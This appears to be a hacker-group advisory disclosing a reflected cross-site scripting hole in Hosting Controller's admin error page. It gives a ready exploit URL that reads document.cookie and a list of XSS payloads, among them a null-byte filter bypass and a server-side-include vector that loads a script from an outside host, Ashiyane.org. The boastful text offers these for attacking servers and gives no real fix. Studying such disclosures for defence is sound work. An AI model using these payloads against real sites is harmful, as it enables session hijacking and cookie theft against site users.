Cross-Site Scripting (CSS) in Hosting Controller All Version and hot fix it hehe ;)
Cross-Site Scripting (CSS) in Hosting Controller All Version and hot fix it
hehe ;)
ActionSpider@xxxxxxxxxxxxx
[Ashiyane Security Team ]
[SegmentationFault Group] iam sun-os hehe :P
Greetz to : S4P0 - failed - Xsupr3mo - Status-x - Stealh
Greetz to : berhooz - nima - ehsan - Mehrtash and ...
www.ashiyane.com *
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path : /admin/hosting/error.asp?error=
http://www.victim.com/admin/hosting/error.asp?error=Xss vul
example :
JavaScript code : <script>alert(document.cookie)</script>
in victim :
http://www.victim.com/admin/hosting/error.asp?error=%3Cscript%3Ealert(document.cookie)%3C/script%3E
1-about css :
Cross-site scripting attacks place malicious code, usually JavaScript, in
locations where
other users see it. Target fields in forms can be addresses, bulletin board
comments, and
so on. The malicious code usually steals cookies, which would allow the
attacker to impersonate
the victim, or perform a social engineering attack, which may trick the victim
into divulging his or her password. Hotmail and AOL have been plagued by this
type of
social engineering attack.
One test suffices to indicate whether or not an application is vulnerable to a
CSS attack.
This is not intended to be a treatise on JavaScript or uber-techniques for
manipulating
browser vulnerabilities. Here are three methods that, if successful, indicate
that an
application is vulnerable
ok it is too easy for u if u want work with other commend(other commend ???
hehe yeah other commend)
elite Hacker Can use it for Acsess to Server hehe see other example for this
mthoding ;)
<script> SRC="c:\boot.ini"></script>
<script>alert(src=C:\boot.ini)</script>
<script>alert(document.cookie)</script>
<script>alert('document.domain='+document.domain)</script>
<script>document.write(document.cookie)</script>
<script>alert('ActionSpider!')</script>
and Here is a little known XSS attack vector using null characters.
You can actually break up the HTML itself using the same nulls as shown above.
I've seen this vector bypass some of the most restrictive XSS filters to date
(again, only works in IE, Netscape 8.0 in trusted site mode and older versions
Opera):
perl -e 'print "<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>";' > out
SSI (Server Side Includes) requires SSI to be installed on the server to use
this XSS vector:
<!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo
'=http://Ashiyane.org/action.js></SCRIPT>'"-->